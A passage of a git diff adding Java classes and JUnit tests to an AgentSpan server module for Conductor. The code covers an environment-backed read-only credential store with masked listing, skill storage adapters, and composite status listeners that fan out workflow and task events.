This store is global (not per-user): the {@code userId} argument is accepted for SPI + * compatibility but ignored, because environment-injected secrets are shared by the process. + */ +public class EnvBackedCredentialStore implements CredentialStoreProvider { + + private static final Logger log = LoggerFactory.getLogger(EnvBackedCredentialStore.class); + + static final String READ_ONLY_MESSAGE = + "Secrets are read-only via the Conductor API. Provide them as environment variables " + + "(for example OPENAI_API_KEY) so they are injected at runtime, then restart the server."; + + private final Map values = new ConcurrentHashMap<>(); + + public EnvBackedCredentialStore(List extraNames, UnaryOperator envLookup) { + Set names = new LinkedHashSet<>(KnownProviderEnvVars.NAMES); + if (extraNames != null) { + names.addAll(extraNames); + } + int seeded = 0; + for (String name : names) { + String value = envLookup.apply(name); + if (value != null && !value.isBlank()) { + values.put(name, value); + seeded++; + } + } + log.info( + "AgentSpan EnvBackedCredentialStore seeded {} secret(s) from {} known environment variable name(s)", + seeded, + names.size()); + } + + @Override + public String get(String userId, String name) { + return values.get(name); + } + + @Override + public void set(String userId, String name, String value) { + // IllegalArgumentException maps to HTTP 400 via both Conductor's ApplicationExceptionMapper + // and AgentSpan's AgentExceptionHandler (a read-only store is a client error, not 500). + throw new IllegalArgumentException(READ_ONLY_MESSAGE); + } + + @Override + public void delete(String userId, String name) { + values.remove(name); + } + + @Override + public List list(String userId) { + List out = new ArrayList<>(); + for (Map.Entry entry : values.entrySet()) { + out.add( + CredentialMeta.builder() + .name(entry.getKey()) + .partial(toPartial(entry.getValue())) + .build()); + } + return out; + } + + /** First 4 + "..." + last 4 characters, matching common API-key display conventions. */ + static String toPartial(String value) { + if (value == null || value.length() < 8) { + return "****...****"; + } + return value.substring(0, 4) + "..." + value.substring(value.length() - 4); + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillMetadataDaoAdapter.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillMetadataDaoAdapter.java new file mode 100644 index 0000000..be1617a --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillMetadataDaoAdapter.java @@ -0,0 +1,91 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.util.List; +import java.util.Optional; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import dev.agentspan.runtime.model.skill.SkillDetail; + +/** + * Bridges AgentSpan's {@link dev.agentspan.runtime.spi.SkillMetadataDAO} SPI onto Conductor's + * backend-agnostic {@link org.conductoross.conductor.dao.SkillMetadataDAO}. The {@link SkillDetail} + * manifest is serialized to JSON for storage so the persistence layer carries no dependency on + * AgentSpan model types; it is rehydrated on read. + */ +public class SkillMetadataDaoAdapter implements dev.agentspan.runtime.spi.SkillMetadataDAO { + + private final org.conductoross.conductor.dao.SkillMetadataDAO delegate; + private final ObjectMapper objectMapper; + + public SkillMetadataDaoAdapter( + org.conductoross.conductor.dao.SkillMetadataDAO delegate, ObjectMapper objectMapper) { + this.delegate = delegate; + this.objectMapper = objectMapper; + } + + @Override + public void save(SkillDetail detail, boolean makeLatest) { + delegate.save( + detail.getOwnerId(), + detail.getName(), + detail.getVersion(), + makeLatest, + toJson(detail), + detail.getCreatedAt(), + detail.getUpdatedAt()); + } + + @Override + public Optional find(String ownerId, String name, String version) { + return delegate.find(ownerId, name, version).map(this::fromJson); + } + + @Override + public Optional latestVersion(String ownerId, String name) { + return delegate.latestVersion(ownerId, name); + } + + @Override + public List listVersions(String ownerId, String name) { + return delegate.listVersions(ownerId, name).stream().map(this::fromJson).toList(); + } + + @Override + public List list(String ownerId, boolean allVersions) { + return delegate.list(ownerId, allVersions).stream().map(this::fromJson).toList(); + } + + @Override + public void delete(String ownerId, String name, String version) { + delegate.delete(ownerId, name, version); + } + + private String toJson(SkillDetail detail) { + try { + return objectMapper.writeValueAsString(detail); + } catch (JsonProcessingException e) { + throw new IllegalStateException("Failed to serialize skill metadata", e); + } + } + + private SkillDetail fromJson(String json) { + try { + return objectMapper.readValue(json, SkillDetail.class); + } catch (JsonProcessingException e) { + throw new IllegalStateException("Failed to deserialize skill metadata", e); + } + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillPackageStoreAdapter.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillPackageStoreAdapter.java new file mode 100644 index 0000000..bb2a3c4 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/SkillPackageStoreAdapter.java @@ -0,0 +1,69 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import org.conductoross.conductor.dao.SkillPackageDAO; + +import dev.agentspan.runtime.spi.SkillPackageStore; +import dev.agentspan.runtime.spi.StoredSkillPackage; + +/** + * Bridges AgentSpan's {@link SkillPackageStore} SPI onto Conductor's backend-agnostic {@link + * SkillPackageDAO}, so skill package bytes persist through whichever Conductor backend is + * configured (Postgres, MySQL, SQLite, Redis). + * + *

The opaque handle is content-addressed ({@code conductor-db://}); identical package + * bytes therefore deduplicate to one stored row. + */ +public class SkillPackageStoreAdapter implements SkillPackageStore { + + static final String STORAGE_TYPE = "conductor-db"; + private static final String HANDLE_PREFIX = "conductor-db://"; + + private final SkillPackageDAO delegate; + + public SkillPackageStoreAdapter(SkillPackageDAO delegate) { + this.delegate = delegate; + } + + @Override + public String storageType() { + return STORAGE_TYPE; + } + + @Override + public StoredSkillPackage store(String name, String version, String checksum, byte[] bytes) { + String handle = HANDLE_PREFIX + checksum; + delegate.put(handle, bytes); + return new StoredSkillPackage(handle, STORAGE_TYPE, bytes.length); + } + + @Override + public byte[] read(String handle) { + byte[] bytes = delegate.get(handle); + if (bytes == null) { + throw new IllegalArgumentException("Skill package not found: " + handle); + } + return bytes; + } + + @Override + public boolean exists(String handle) { + return delegate.exists(handle); + } + + @Override + public void delete(String handle) { + delegate.delete(handle); + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeTaskStatusListener.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeTaskStatusListener.java new file mode 100644 index 0000000..adc300e --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeTaskStatusListener.java @@ -0,0 +1,166 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan.listener; + +import java.util.function.Consumer; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.ObjectProvider; + +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.model.TaskModel; + +/** + * A {@link TaskStatusListener} that fans every callback out to all other {@code TaskStatusListener} + * beans in the context. + * + *

The motivation mirrors {@link AgentSpanCompositeWorkflowStatusListener}: Conductor injects a + * single {@code TaskStatusListener} bean, so the embedded {@code conductor-agentspan} + * library's {@code @Primary AgentEventListener} would otherwise shadow an operator-configured + * {@code task_publisher}. Registering this composite as the sole {@code @Primary} listener and + * re-broadcasting to every registered listener lets agentspan's SSE listener and the configured + * publisher coexist. + * + *

Each callback delegates to the same method on every other listener so each delegate + * keeps its own gating semantics. The composite excludes itself to avoid recursion and isolates + * delegates so one listener's failure cannot suppress the others. Delegates are resolved lazily via + * {@link ObjectProvider} to avoid a self-referential construction cycle for this {@code @Primary} + * bean. + */ +public class AgentSpanCompositeTaskStatusListener implements TaskStatusListener { + + private static final Logger LOGGER = + LoggerFactory.getLogger(AgentSpanCompositeTaskStatusListener.class); + + private final ObjectProvider delegates; + + public AgentSpanCompositeTaskStatusListener(ObjectProvider delegates) { + this.delegates = delegates; + } + + /** + * Invoke {@code action} on every registered listener except this composite, isolating each + * delegate so one listener's failure does not stop the rest. + */ + private void fanOut(Consumer action) { + delegates.stream() + .filter(listener -> listener != this) + .forEach( + listener -> { + try { + action.accept(listener); + } catch (Exception e) { + LOGGER.warn( + "TaskStatusListener {} threw during fan-out: {}", + listener.getClass().getName(), + e.getMessage(), + e); + } + }); + } + + // ── *IfEnabled variants — the primary callback path used by WorkflowExecutorOps ── + + @Override + public void onTaskScheduledIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskScheduledIfEnabled(task)); + } + + @Override + public void onTaskInProgressIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskInProgressIfEnabled(task)); + } + + @Override + public void onTaskCanceledIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskCanceledIfEnabled(task)); + } + + @Override + public void onTaskFailedIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskFailedIfEnabled(task)); + } + + @Override + public void onTaskFailedWithTerminalErrorIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskFailedWithTerminalErrorIfEnabled(task)); + } + + @Override + public void onTaskCompletedIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskCompletedIfEnabled(task)); + } + + @Override + public void onTaskCompletedWithErrorsIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskCompletedWithErrorsIfEnabled(task)); + } + + @Override + public void onTaskTimedOutIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskTimedOutIfEnabled(task)); + } + + @Override + public void onTaskSkippedIfEnabled(TaskModel task) { + fanOut(listener -> listener.onTaskSkippedIfEnabled(task)); + } + + // ── Direct variants — fan out for any caller that bypasses the *IfEnabled path ── + + @Override + public void onTaskScheduled(TaskModel task) { + fanOut(listener -> listener.onTaskScheduled(task)); + } + + @Override + public void onTaskInProgress(TaskModel task) { + fanOut(listener -> listener.onTaskInProgress(task)); + } + + @Override + public void onTaskCanceled(TaskModel task) { + fanOut(listener -> listener.onTaskCanceled(task)); + } + + @Override + public void onTaskFailed(TaskModel task) { + fanOut(listener -> listener.onTaskFailed(task)); + } + + @Override + public void onTaskFailedWithTerminalError(TaskModel task) { + fanOut(listener -> listener.onTaskFailedWithTerminalError(task)); + } + + @Override + public void onTaskCompleted(TaskModel task) { + fanOut(listener -> listener.onTaskCompleted(task)); + } + + @Override + public void onTaskCompletedWithErrors(TaskModel task) { + fanOut(listener -> listener.onTaskCompletedWithErrors(task)); + } + + @Override + public void onTaskTimedOut(TaskModel task) { + fanOut(listener -> listener.onTaskTimedOut(task)); + } + + @Override + public void onTaskSkipped(TaskModel task) { + fanOut(listener -> listener.onTaskSkipped(task)); + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListener.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListener.java new file mode 100644 index 0000000..c8bca79 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListener.java @@ -0,0 +1,173 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan.listener; + +import java.util.function.Consumer; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.ObjectProvider; + +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.model.WorkflowModel; + +/** + * A {@link WorkflowStatusListener} that fans every callback out to all other {@code + * WorkflowStatusListener} beans in the context. + * + *

Conductor injects a single {@code WorkflowStatusListener} bean (see {@code + * WorkflowExecutorOps}/{@code ExecutionService}), so when the embedded {@code conductor-agentspan} + * library contributes its {@code @Primary AgentEventListener}, that one bean would otherwise shadow + * any operator-configured publisher ({@code queue_publisher}, {@code kafka}, {@code archive}, + * {@code workflow_publisher}). To let agentspan's SSE listener and the configured publisher + * coexist, this composite is registered as the sole {@code @Primary} listener and re-broadcasts + * each event to every registered listener. + * + *

Each callback delegates to the same method on every other listener so that each + * delegate applies its own gating semantics: the {@code *IfEnabled} variants honour each listener's + * choice to gate on {@code workflowStatusListenerEnabled}, while agentspan's listener (which + * overrides the {@code *IfEnabled} methods directly) fires unconditionally as it intends. The + * composite excludes itself from the fan-out to avoid infinite recursion, and isolates delegates so + * a failure in one listener cannot suppress the others. + * + *

Delegates are resolved lazily through an {@link ObjectProvider} so that wiring this + * {@code @Primary} bean (which is itself a {@code WorkflowStatusListener}) does not create a + * self-referential construction cycle. + */ +public class AgentSpanCompositeWorkflowStatusListener implements WorkflowStatusListener { + + private static final Logger LOGGER = + LoggerFactory.getLogger(AgentSpanCompositeWorkflowStatusListener.class); + + private final ObjectProvider delegates; + + public AgentSpanCompositeWorkflowStatusListener( + ObjectProvider delegates) { + this.delegates = delegates; + } + + /** + * Invoke {@code action} on every registered listener except this composite, isolating each + * delegate so one listener's failure does not stop the rest. + */ + private void fanOut(Consumer action) { + delegates.stream() + .filter(listener -> listener != this) + .forEach( + listener -> { + try { + action.accept(listener); + } catch (Exception e) { + LOGGER.warn( + "WorkflowStatusListener {} threw during fan-out: {}", + listener.getClass().getName(), + e.getMessage(), + e); + } + }); + } + + // ── *IfEnabled variants — the primary callback path used by WorkflowExecutorOps ── + + @Override + public void onWorkflowCompletedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowCompletedIfEnabled(workflow)); + } + + @Override + public void onWorkflowTerminatedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowTerminatedIfEnabled(workflow)); + } + + @Override + public void onWorkflowFinalizedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowFinalizedIfEnabled(workflow)); + } + + @Override + public void onWorkflowStartedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowStartedIfEnabled(workflow)); + } + + @Override + public void onWorkflowRestartedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRestartedIfEnabled(workflow)); + } + + @Override + public void onWorkflowRerunIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRerunIfEnabled(workflow)); + } + + @Override + public void onWorkflowRetriedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRetriedIfEnabled(workflow)); + } + + @Override + public void onWorkflowPausedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowPausedIfEnabled(workflow)); + } + + @Override + public void onWorkflowResumedIfEnabled(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowResumedIfEnabled(workflow)); + } + + // ── Direct variants — fan out for any caller that bypasses the *IfEnabled path ── + + @Override + public void onWorkflowCompleted(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowCompleted(workflow)); + } + + @Override + public void onWorkflowTerminated(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowTerminated(workflow)); + } + + @Override + public void onWorkflowFinalized(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowFinalized(workflow)); + } + + @Override + public void onWorkflowStarted(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowStarted(workflow)); + } + + @Override + public void onWorkflowRestarted(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRestarted(workflow)); + } + + @Override + public void onWorkflowRerun(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRerun(workflow)); + } + + @Override + public void onWorkflowPaused(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowPaused(workflow)); + } + + @Override + public void onWorkflowResumed(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowResumed(workflow)); + } + + @Override + public void onWorkflowRetried(WorkflowModel workflow) { + fanOut(listener -> listener.onWorkflowRetried(workflow)); + } +} diff --git a/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanListenerCoexistenceConfiguration.java b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanListenerCoexistenceConfiguration.java new file mode 100644 index 0000000..8f8cff3 --- /dev/null +++ b/agentspan-server/src/main/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanListenerCoexistenceConfiguration.java @@ -0,0 +1,111 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.ObjectProvider; +import org.springframework.beans.factory.config.BeanDefinition; +import org.springframework.beans.factory.config.BeanFactoryPostProcessor; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; + +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListener; + +/** + * Makes the embedded {@code conductor-agentspan} status listener coexist with any + * operator-configured status publisher. + * + *

The agentspan library registers {@code AgentEventListener} as a {@code @Primary} bean for both + * {@link WorkflowStatusListener} and {@link TaskStatusListener} (it streams agent events over SSE). + * Conductor, however, injects a single listener bean of each type, so {@code @Primary} alone + * would make agentspan's listener silently shadow a configured {@code queue_publisher} / {@code + * kafka} / {@code archive} / {@code workflow_publisher} (or {@code task_publisher}) — and {@code + * conductor.integrations.ai.enabled} defaults to {@code true}, so this would affect default + * servers. + * + *

Active only in embedded mode ({@code agentspan.embedded=true}, set by {@link + * org.conductoross.conductor.ai.agentspan.AgentSpanEmbeddedEnvironmentPostProcessor}), this + * configuration: + * + *

    + *
  1. demotes agentspan's {@code AgentEventListener} from {@code @Primary} (via a {@link + * BeanFactoryPostProcessor} that edits the bean definition before instantiation), and + *
  2. registers composite {@code @Primary} listeners ({@link + * AgentSpanCompositeWorkflowStatusListener}, {@link AgentSpanCompositeTaskStatusListener}) + * that fan every callback out to all registered listeners — agentspan's listener and + * the configured publisher alike. + *
+ * + *

The composite becomes the sole {@code @Primary} candidate, so the single-bean injection points + * in {@code WorkflowExecutorOps}/{@code ExecutionService} resolve to it, and every listener + * receives every event. + */ +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "agentspan.embedded", havingValue = "true") +public class AgentSpanListenerCoexistenceConfiguration { + + private static final Logger LOGGER = + LoggerFactory.getLogger(AgentSpanListenerCoexistenceConfiguration.class); + + /** + * Fully-qualified name of the agentspan listener. Matched by name rather than imported type to + * avoid coupling to a library-internal class and to keep the post-processor free of side + * effects (no premature class loading). + */ + private static final String AGENT_EVENT_LISTENER_CLASS = + "dev.agentspan.runtime.service.AgentEventListener"; + + /** + * Demotes agentspan's {@code @Primary AgentEventListener} to an ordinary candidate so the + * composite beans below can become the sole {@code @Primary} listeners. Declared {@code static} + * so the post-processor is instantiated early (before regular bean instantiation) without + * forcing the enclosing configuration to initialise prematurely. Runs after {@code + * ConfigurationClassPostProcessor} (which registers agentspan's component-scanned definition), + * so the target definition is present; it is a no-op if agentspan is absent or already + * non-primary. + */ + @Bean + public static BeanFactoryPostProcessor agentSpanListenerPrimaryDemoter() { + return beanFactory -> { + for (String name : beanFactory.getBeanDefinitionNames()) { + BeanDefinition definition = beanFactory.getBeanDefinition(name); + if (AGENT_EVENT_LISTENER_CLASS.equals(definition.getBeanClassName()) + && definition.isPrimary()) { + definition.setPrimary(false); + LOGGER.info( + "Demoted agentspan listener bean '{}' from @Primary so workflow/task " + + "status listeners can coexist via the composite", + name); + } + } + }; + } + + @Bean + @Primary + public WorkflowStatusListener agentSpanCompositeWorkflowStatusListener( + ObjectProvider workflowStatusListeners) { + return new AgentSpanCompositeWorkflowStatusListener(workflowStatusListeners); + } + + @Bean + @Primary + public TaskStatusListener agentSpanCompositeTaskStatusListener( + ObjectProvider taskStatusListeners) { + return new AgentSpanCompositeTaskStatusListener(taskStatusListeners); + } +} diff --git a/agentspan-server/src/main/resources/META-INF/spring.factories b/agentspan-server/src/main/resources/META-INF/spring.factories new file mode 100644 index 0000000..d26a48a --- /dev/null +++ b/agentspan-server/src/main/resources/META-INF/spring.factories @@ -0,0 +1,2 @@ +org.springframework.boot.env.EnvironmentPostProcessor=\ +org.conductoross.conductor.ai.agentspan.AgentSpanEmbeddedEnvironmentPostProcessor diff --git a/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStoreTest.java b/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStoreTest.java new file mode 100644 index 0000000..1c3954a --- /dev/null +++ b/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/EnvBackedCredentialStoreTest.java @@ -0,0 +1,92 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan; + +import java.util.List; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +import dev.agentspan.runtime.model.credentials.CredentialMeta; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class EnvBackedCredentialStoreTest { + + private static final String USER = "agentspan-system"; + + private EnvBackedCredentialStore store(Map env, List extra) { + return new EnvBackedCredentialStore(extra, env::get); + } + + @Test + void seedsKnownProviderVarsFromEnvironment() { + EnvBackedCredentialStore store = + store( + Map.of("OPENAI_API_KEY", "sk-abcdefgh", "UNRELATED_VAR", "ignored"), + List.of()); + + assertEquals("sk-abcdefgh", store.get(USER, "OPENAI_API_KEY")); + // Not a known provider var and not in the extra list -> not seeded. + assertNull(store.get(USER, "UNRELATED_VAR")); + } + + @Test + void seedsConfiguredExtraNames() { + EnvBackedCredentialStore store = + store(Map.of("MY_CUSTOM_SECRET", "value-1234"), List.of("MY_CUSTOM_SECRET")); + + assertEquals("value-1234", store.get(USER, "MY_CUSTOM_SECRET")); + } + + @Test + void listReturnsMaskedMetadataNeverPlaintext() { + EnvBackedCredentialStore store = + store(Map.of("OPENAI_API_KEY", "sk-test-1234567890abcdef"), List.of()); + + List list = store.list(USER); + assertEquals(1, list.size()); + CredentialMeta meta = list.get(0); + assertEquals("OPENAI_API_KEY", meta.getName()); + assertEquals("sk-t...cdef", meta.getPartial()); + assertTrue(!meta.getPartial().contains("567890"), "partial must not leak the full value"); + } + + @Test + void setIsRejectedWithGuidance() { + EnvBackedCredentialStore store = store(Map.of(), List.of()); + + IllegalArgumentException ex = + assertThrows( + IllegalArgumentException.class, () -> store.set(USER, "ANYTHING", "v")); + assertTrue(ex.getMessage().contains("environment variables")); + } + + @Test + void deleteRemovesFromInMemoryView() { + EnvBackedCredentialStore store = store(Map.of("OPENAI_API_KEY", "sk-abcdefgh"), List.of()); + + store.delete(USER, "OPENAI_API_KEY"); + assertNull(store.get(USER, "OPENAI_API_KEY")); + assertTrue(store.list(USER).isEmpty()); + } + + @Test + void shortValuesAreFullyMasked() { + assertEquals("****...****", EnvBackedCredentialStore.toPartial("short")); + assertEquals("****...****", EnvBackedCredentialStore.toPartial(null)); + } +} diff --git a/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListenerTest.java b/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListenerTest.java new file mode 100644 index 0000000..1190b43 --- /dev/null +++ b/agentspan-server/src/test/java/org/conductoross/conductor/ai/agentspan/listener/AgentSpanCompositeWorkflowStatusListenerTest.java @@ -0,0 +1,169 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.agentspan.listener; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Stream; + +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.ObjectProvider; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Verifies the fan-out semantics that let agentspan's listener coexist with a configured publisher: + * the composite broadcasts to every other listener, excludes itself (no recursion), isolates + * failures, and preserves each delegate's own {@code *IfEnabled} gating. + */ +class AgentSpanCompositeWorkflowStatusListenerTest { + + /** Real listener that records which callbacks it received. */ + private static final class RecordingListener implements WorkflowStatusListener { + final List events = new ArrayList<>(); + + @Override + public void onWorkflowCompleted(WorkflowModel workflow) { + events.add("completed:" + workflow.getWorkflowId()); + } + + @Override + public void onWorkflowTerminated(WorkflowModel workflow) { + events.add("terminated:" + workflow.getWorkflowId()); + } + } + + /** Listener that always throws, to prove failures are isolated from siblings. */ + private static final class ThrowingListener implements WorkflowStatusListener { + boolean invoked = false; + + @Override + public void onWorkflowCompleted(WorkflowModel workflow) { + invoked = true; + throw new RuntimeException("boom"); + } + + @Override + public void onWorkflowTerminated(WorkflowModel workflow) { + throw new RuntimeException("boom"); + } + } + + /** + * Minimal {@link ObjectProvider} backed by a mutable list. The composite only ever calls {@link + * ObjectProvider#stream()}, so the remaining methods are intentionally unsupported. + */ + private static ObjectProvider providerOf( + List registry) { + return new ObjectProvider<>() { + @Override + public Stream stream() { + return registry.stream(); + } + + @Override + public WorkflowStatusListener getObject(Object... args) { + throw new UnsupportedOperationException(); + } + + @Override + public WorkflowStatusListener getObject() { + throw new UnsupportedOperationException(); + } + + @Override + public WorkflowStatusListener getIfAvailable() { + throw new UnsupportedOperationException(); + } + + @Override + public WorkflowStatusListener getIfUnique() { + throw new UnsupportedOperationException(); + } + }; + } + + private static WorkflowModel workflow(String id, boolean listenerEnabled) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(id); + WorkflowDef def = new WorkflowDef(); + def.setName("test_wf"); + def.setWorkflowStatusListenerEnabled(listenerEnabled); + workflow.setWorkflowDefinition(def); + return workflow; + } + + @Test + void fansOutToAllDelegatesAndExcludesItself() { + List registry = new ArrayList<>(); + AgentSpanCompositeWorkflowStatusListener composite = + new AgentSpanCompositeWorkflowStatusListener(providerOf(registry)); + RecordingListener first = new RecordingListener(); + RecordingListener second = new RecordingListener(); + // Include the composite itself to prove it is filtered out (otherwise this would recurse + // infinitely and overflow the stack). + registry.add(composite); + registry.add(first); + registry.add(second); + + composite.onWorkflowCompleted(workflow("wf-1", true)); + + assertEquals(List.of("completed:wf-1"), first.events); + assertEquals(List.of("completed:wf-1"), second.events); + } + + @Test + void isolatesFailingDelegateFromTheRest() { + List registry = new ArrayList<>(); + AgentSpanCompositeWorkflowStatusListener composite = + new AgentSpanCompositeWorkflowStatusListener(providerOf(registry)); + RecordingListener before = new RecordingListener(); + ThrowingListener throwing = new ThrowingListener(); + RecordingListener after = new RecordingListener(); + registry.add(composite); + registry.add(before); + registry.add(throwing); + registry.add(after); + + // Must not propagate the delegate's exception. + composite.onWorkflowCompleted(workflow("wf-2", true)); + + assertTrue(throwing.invoked); + assertEquals(List.of("completed:wf-2"), before.events); + assertEquals(List.of("completed:wf-2"), after.events); + } + + @Test + void ifEnabledPathHonoursEachDelegateGating() { + List registry = new ArrayList<>(); + AgentSpanCompositeWorkflowStatusListener composite = + new AgentSpanCompositeWorkflowStatusListener(providerOf(registry)); + RecordingListener listener = new RecordingListener(); + registry.add(composite); + 